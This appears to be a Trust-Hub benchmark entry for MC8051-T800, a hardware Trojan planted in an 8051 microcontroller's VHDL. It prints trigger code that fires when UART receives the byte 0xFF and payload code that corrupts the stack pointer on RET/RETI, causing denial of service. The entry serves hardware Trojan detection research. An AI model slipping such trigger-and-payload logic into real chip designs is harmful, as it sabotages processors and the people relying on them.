MC8051-T800

- Trojan description
  - The Trojan manipulates the stack pointer when specific data are received through UART.

- Trojan taxonomy
  - Insertion phase: Design
  - Abstraction level: Register-transfer level
  - Activation mechanism: Externally conditionally triggered
  - Effects: Denial of service
  - Location: Processor
  - Physical characteristics: Functional

MC8051-T800

Trojan trigger

```
Trojan_Trigger : process (reset, all_scon_i, all_sbuf_i)
 variable Rec_Bit : std_logic;
 variable Rec_Data : std_logic_vector (7 downto 0);
 begin
  if (reset = '1') then
                    Tj <= '0';
  else
                    Tj <= '0';
                    for i in 0 to C_IMPL_N_SIU-1 loop
                              Rec_Bit := all_scon_i(i*3);
                              Rec_Data := all_sbuf_i((i*8)+7 downto i*8);
                              if ((Rec_Bit = '1') and (Rec_Data = "11111111")) then    Tj <= '1';     end if;
                    end loop;
  end if;
 end process Trojan_Trigger;
```

MC8051-T800

- **Trojan payload**

```
when RET | RETI =>
            if (Tj = '0') then
                        sp <= sp - conv_unsigned(1,1);
            else
                        sp <= sp - conv_unsigned(2,2);
            end if;
```

Please send your concerns/questions to

Dr. Hassan Salmani at SalmaniHSN@gmail.com

Administrator at admin@trust-hub.com